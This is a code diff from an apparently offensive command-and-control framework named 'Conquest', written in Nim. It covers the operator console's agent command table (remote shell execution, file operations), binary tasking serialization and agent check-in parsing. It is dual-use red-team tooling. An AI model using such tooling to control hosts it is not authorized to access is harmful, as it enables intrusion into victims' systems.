import ./[parser, packer, dispatcher]
import ../utils
import ../../types
proc initAgentCommands*(): Table[CommandType, Command] =
var commands = initTable[CommandType, Command]()
commands[ExecuteShell] = Command(
name: "shell",
commandType: ExecuteShell,
description: "Execute a shell command and retrieve the output.",
example: "shell whoami /all",
arguments: @[
Argument(name: "command", description: "Command to be executed.", argumentType: String, isRequired: true),
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: String, isRequired: false)
]
)
commands[Sleep] = Command(
name: "sleep",
commandType: Sleep,
description: "Update sleep delay configuration.",
example: "sleep 5",
arguments: @[
Argument(name: "delay", description: "Delay in seconds.", argumentType: Int, isRequired: true)
]
)
commands[GetWorkingDirectory] = Command(
name: "pwd",
commandType: GetWorkingDirectory,
description: "Retrieve current working directory.",
example: "pwd",
arguments: @[]
)
commands[SetWorkingDirectory] = Command(
name: "cd",
commandType: SetWorkingDirectory,
description: "Change current working directory.",
example: "cd C:\\Windows\\Tasks",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: String, isRequired: true)
]
)
commands[ListDirectory] = Command(
name: "ls",
commandType: ListDirectory,
description: "List files and directories.",
example: "ls C:\\Users\\Administrator\\Desktop",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: String, isRequired: false)
]
)
commands[RemoveFile] = Command(
name: "rm",
commandType: RemoveFile,
description: "Remove a file.",
example: "rm C:\\Windows\\Tasks\\payload.exe",
arguments: @[
Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: String, isRequired: true)
]
)
commands[RemoveDirectory] = Command(
name: "rmdir",
commandType: RemoveDirectory,
description: "Remove a directory.",
example: "rm C:\\Payloads",
arguments: @[
Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: String, isRequired: true)
]
)
commands[Move] = Command(
name: "move",
commandType: Move,
description: "Move a file or directory.",
example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
]
)
commands[Copy] = Command(
name: "copy",
commandType: Copy,
description: "Copy a file or directory.",
example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
arguments: @[
Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
]
)
return commands
let commands = initAgentCommands()
proc getCommandFromTable(cmd: string, commands: Table[CommandType, Command]): (CommandType, Command) =
try:
let commandType = parseEnum[CommandType](cmd.toLowerAscii())
let command = commands[commandType]
return (commandType, command)
except ValueError:
raise newException(ValueError, fmt"The command '{cmd}' does not exist.")
proc displayHelp(cq: Conquest, commands: Table[CommandType, Command]) =
cq.writeLine("Available commands:")
cq.writeLine(" * back")
for key, cmd in commands:
cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
cq.writeLine()
proc displayCommandHelp(cq: Conquest, command: Command) =
var usage = command.name & " " & command.arguments.mapIt(
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
).join(" ")
if command.example != "":
usage &= "\nExample : " & command.example
cq.writeLine(fmt"""
{command.description}
Usage : {usage}
""")
if command.arguments.len > 0:
cq.writeLine("Arguments:\n")
let header = @["Name", "Type", "", "Description"]
cq.writeLine(fmt" {header[0]:<15} {header[1]:<8}{header[2]:<10} {header[3]}")
cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(18)} {'-'.repeat(20)}")
for arg in command.arguments:
let requirement = if arg.isRequired: "(REQUIRED)" else: "(OPTIONAL)"
cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<8}{requirement:<10} {arg.description}")
cq.writeLine()
proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[CommandType, Command]) =
try:
# Try parsing the first argument passed to 'help' as a command
let (commandType, command) = getCommandFromTable(parsed[1], commands)
cq.displayCommandHelp(command)
except IndexDefect:
# 'help' command is called without additional parameters
cq.displayHelp(commands)
except ValueError:
# Command was not found
cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
proc handleAgentCommand*(cq: Conquest, input: string) =
# Return if no command (or just whitespace) is entered
if input.replace(" ", "").len == 0: return
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input)
let parsedArgs = parseAgentCommand(input)
# Handle 'back' command
if parsedArgs[0] == "back":
return
# Handle 'help' command
if parsedArgs[0] == "help":
cq.handleHelp(parsedArgs, commands)
return
# Handle commands with actions on the agent
try:
let
(commandType, command) = getCommandFromTable(parsedArgs[0], commands)
payload = cq.packageArguments(command, parsedArgs)
cq.createTask(commandType, $payload, fmt"Tasked agent to {command.description.toLowerAscii()}")
except CatchableError:
cq.writeLine(fgRed, styleBright, fmt"[-] {getCurrentExceptionMsg()}" & "\n")
return

View File

@@ -1,34 +1,162 @@
import strutils, json import strutils, strformat, streams, times
import ../../types import ../utils
import ../../common/[types, utils, serialize]
proc packageArguments*(cq: Conquest, command: Command, arguments: seq[string]): JsonNode = proc serializeTask*(task: Task): seq[byte] =
var packer = initPacker()
# Serialize payload
packer
.add(task.taskId)
.add(task.agentId)
.add(task.listenerId)
.add(task.timestamp)
.add(task.command)
.add(task.argCount)
for arg in task.args:
packer.addArgument(arg)
let payload = packer.pack()
packer.reset()
# TODO: Encrypt payload body
# Serialize header
packer
.add(task.header.magic)
.add(task.header.version)
.add(task.header.packetType)
.add(task.header.flags)
.add(task.header.seqNr)
.add(cast[uint32](payload.len))
.addData(task.header.hmac)
let header = packer.pack()
# TODO: Calculate and patch HMAC
return header & payload
proc deserializeTaskResult*(resultData: seq[byte]): TaskResult =
var unpacker = initUnpacker(resultData.toString)
let
magic = unpacker.getUint32()
version = unpacker.getUint8()
packetType = unpacker.getUint8()
flags = unpacker.getUint16()
seqNr = unpacker.getUint32()
size = unpacker.getUint32()
hmacBytes = unpacker.getBytes(16)
# Explicit conversion from seq[byte] to array[16, byte]
var hmac: array[16, byte]
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
# Packet Validation
if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
# TODO: Validate sequence number
# TODO: Validate HMAC
# TODO: Decrypt payload
# let payload = unpacker.getBytes(size)
let
taskId = unpacker.getUint32()
agentId = unpacker.getUint32()
listenerId = unpacker.getUint32()
timestamp = unpacker.getUint32()
command = unpacker.getUint16()
status = unpacker.getUint8()
resultType = unpacker.getUint8()
length = unpacker.getUint32()
data = unpacker.getBytes(int(length))
return TaskResult(
header: Header(
magic: magic,
version: version,
packetType: packetType,
flags: flags,
seqNr: seqNr,
size: size,
hmac: hmac
),
taskId: taskId,
agentId: agentId,
listenerId: listenerId,
timestamp: timestamp,
command: command,
status: status,
resultType: resultType,
length: length,
data: data
)
proc deserializeNewAgent*(data: seq[byte]): Agent =
var unpacker = initUnpacker(data.toString)
let
magic = unpacker.getUint32()
version = unpacker.getUint8()
packetType = unpacker.getUint8()
flags = unpacker.getUint16()
seqNr = unpacker.getUint32()
size = unpacker.getUint32()
hmacBytes = unpacker.getBytes(16)
# Explicit conversion from seq[byte] to array[16, byte]
var hmac: array[16, byte]
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
# Packet Validation
if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
# TODO: Validate sequence number
# TODO: Validate HMAC
# TODO: Decrypt payload
# let payload = unpacker.getBytes(size)
let
agentId = unpacker.getUint32()
listenerId = unpacker.getUint32()
username = unpacker.getVarLengthMetadata()
hostname = unpacker.getVarLengthMetadata()
domain = unpacker.getVarLengthMetadata()
ip = unpacker.getVarLengthMetadata()
os = unpacker.getVarLengthMetadata()
process = unpacker.getVarLengthMetadata()
pid = unpacker.getUint32()
isElevated = unpacker.getUint8()
sleep = unpacker.getUint32()
return Agent(
agentId: uuidToString(agentId),
listenerId: uuidToString(listenerId),
username: username,
hostname: hostname,
domain: domain,
ip: ip,
os: os,
process: process,
pid: int(pid),
elevated: isElevated != 0,
sleep: int(sleep),
jitter: 0.0, # TODO: Remove jitter
tasks: @[],
firstCheckin: now(),
latestCheckin: now()
)
# Construct a JSON payload with argument names and values
result = newJObject()
let parsedArgs = if arguments.len > 1: arguments[1..^1] else: @[] # Remove first element from sequence to only handle arguments
for i, argument in command.arguments:
# Argument provided - convert to the corresponding data type
if i < parsedArgs.len:
case argument.argumentType:
of Int:
result[argument.name] = %parseUInt(parsedArgs[i])
of Binary:
# Read file into memory and convert it into a base64 string
result[argument.name] = %""
else:
# The last optional argument is joined together
# This is required for non-quoted input with infinite length, such as `shell mv arg1 arg2`
if i == command.arguments.len - 1 and not argument.isRequired:
result[argument.name] = %parsedArgs[i..^1].join(" ")
else:
result[argument.name] = %parsedArgs[i]
# Argument not provided - set to empty string for optional args
else:
# If a required argument is not provided, display the help text
if argument.isRequired:
raise newException(ValueError, "Missing required arguments.")
else:
result[argument.name] = %""

View File

@@ -1,6 +1,8 @@
import ../../types import strutils, strformat, times
import ../utils
import ../../common/[types, utils]
proc parseAgentCommand*(input: string): seq[string] = proc parseInput*(input: string): seq[string] =
var i = 0 var i = 0
while i < input.len: while i < input.len:
@@ -30,3 +32,83 @@ proc parseAgentCommand*(input: string): seq[string] =
# Add argument to returned result # Add argument to returned result
if arg.len > 0: result.add(arg) if arg.len > 0: result.add(arg)
proc parseArgument*(argument: Argument, value: string): TaskArg =
var result: TaskArg
result.argType = cast[uint8](argument.argumentType)
case argument.argumentType:
of INT:
# Length: 4 bytes
let intValue = cast[uint32](parseUInt(value))
result.data = @[byte(intValue and 0xFF), byte((intValue shr 8) and 0xFF), byte((intValue shr 16) and 0xFF), byte((intValue shr 24) and 0xFF)]
of LONG:
# Length: 8 bytes
var data = newSeq[byte](8)
let intValue = cast[uint64](parseUInt(value))
for i in 0..7:
data[i] = byte((intValue shr (i * 8)) and 0xFF)
result.data = data
of BOOL:
# Length: 1 byte
if value == "true":
result.data = @[1'u8]
elif value == "false":
result.data = @[0'u8]
else:
raise newException(ValueError, "Invalid value for boolean argument.")
of STRING:
result.data = cast[seq[byte]](value)
of BINARY:
# Read file as binary stream
discard
return result
proc parseTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
# Construct the task payload prefix
var task: Task
task.taskId = uuidToUint32(generateUUID())
task.agentId = uuidToUint32(cq.interactAgent.agentId)
task.listenerId = uuidToUint32(cq.interactAgent.listenerId)
task.timestamp = uint32(now().toTime().toUnix())
task.command = cast[uint16](command.commandType)
task.argCount = uint8(arguments.len)
var taskArgs: seq[TaskArg]
# Add the task arguments
for i, arg in command.arguments:
if i < arguments.len:
taskArgs.add(parseArgument(arg, arguments[i]))
else:
if arg.isRequired:
raise newException(ValueError, "Missing required argument.")
else:
# Handle optional argument
taskArgs.add(parseArgument(arg, ""))
task.args = taskArgs
# Construct the header
var taskHeader: Header
taskHeader.magic = MAGIC
taskHeader.version = VERSION
taskHeader.packetType = cast[uint8](MSG_TASK)
taskHeader.flags = cast[uint16](FLAG_PLAINTEXT)
taskHeader.seqNr = 1'u32 # TODO: Implement sequence tracking
taskHeader.size = 0'u32
taskHeader.hmac = default(array[16, byte])
task.header = taskHeader
# Return the task object for serialization
return task

View File

@@ -1,7 +1,7 @@
import strutils, terminal, tables, sequtils, times, strformat, random, prompt import strutils, terminal, tables, sequtils, times, strformat, random, prompt
import std/wordwrap import std/wordwrap
import ../types import ../common/[types, utils]
# Utility functions # Utility functions
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] = proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
@@ -16,10 +16,6 @@ proc validatePort*(portStr: string): bool =
except ValueError: except ValueError:
return false return false
proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
# Function templates and overwrites # Function templates and overwrites
template writeLine*(cq: Conquest, args: varargs[untyped]) = template writeLine*(cq: Conquest, args: varargs[untyped]) =
cq.prompt.writeLine(args) cq.prompt.writeLine(args)
@@ -114,7 +110,7 @@ proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
for l in listeners: for l in listeners:
# Get number of agents connected to the listener # Get number of agents connected to the listener
let connectedAgents = cq.agents.values.countIt(it.listener == l.name) let connectedAgents = cq.agents.values.countIt(it.listenerId == l.name)
let rowCells = @[ let rowCells = @[
Cell(text: l.name, fg: fgGreen), Cell(text: l.name, fg: fgGreen),
@@ -178,14 +174,14 @@ proc drawTable*(cq: Conquest, agents: seq[Agent]) =
for a in agents: for a in agents:
var cells = @[ var cells = @[
Cell(text: a.name, fg: fgYellow, style: styleBright), Cell(text: a.agentId, fg: fgYellow, style: styleBright),
Cell(text: a.ip), Cell(text: a.ip),
Cell(text: a.username), Cell(text: a.username),
Cell(text: a.hostname), Cell(text: a.hostname),
Cell(text: a.os), Cell(text: a.os),
Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite), Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite),
Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite), Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite),
a.timeSince(cq.agents[a.name].latestCheckin) a.timeSince(cq.agents[a.agentId].latestCheckin)
] ]
# Highlight agents running within elevated processes # Highlight agents running within elevated processes

View File

@@ -1,110 +0,0 @@
import prompt
import tables
import times
# Task structure
type
CommandType* = enum
ExecuteShell = "shell"
ExecuteBof = "bof"
ExecuteAssembly = "dotnet"
ExecutePe = "pe"
Sleep = "sleep"
GetWorkingDirectory = "pwd"
SetWorkingDirectory = "cd"
ListDirectory = "ls"
RemoveFile = "rm"
RemoveDirectory = "rmdir"
Move = "move"
Copy = "copy"
ArgumentType* = enum
String = "string"
Int = "int"
Long = "long"
Bool = "bool"
Binary = "binary"
Argument* = object
name*: string
description*: string
argumentType*: ArgumentType
isRequired*: bool
Command* = object
name*: string
commandType*: CommandType
description*: string
example*: string
arguments*: seq[Argument]
dispatchMessage*: string
TaskStatus* = enum
Completed = "completed"
Created = "created"
Pending = "pending"
Failed = "failed"
Cancelled = "cancelled"
TaskResult* = ref object
task*: string
agent*: string
data*: string
status*: TaskStatus
Task* = ref object
id*: string
agent*: string
command*: CommandType
args*: string # Json string containing all the positional arguments
# Example: """{"command": "whoami", "arguments": "/all"}"""
# Agent structure
type
AgentRegistrationData* = object
username*: string
hostname*: string
domain*: string
ip*: string
os*: string
process*: string
pid*: int
elevated*: bool
sleep*: int
Agent* = ref object
name*: string
listener*: string
username*: string
hostname*: string
domain*: string
process*: string
pid*: int
ip*: string
os*: string
elevated*: bool
sleep*: int
jitter*: float
tasks*: seq[Task]
firstCheckin*: DateTime
latestCheckin*: DateTime
# Listener structure
type
Protocol* = enum
HTTP = "http"
Listener* = ref object
name*: string
address*: string
port*: int
protocol*: Protocol
# Server structure
type
Conquest* = ref object
prompt*: Prompt
dbPath*: string
listeners*: Table[string, Listener]
agents*: Table[string, Agent]
interactAgent*: Agent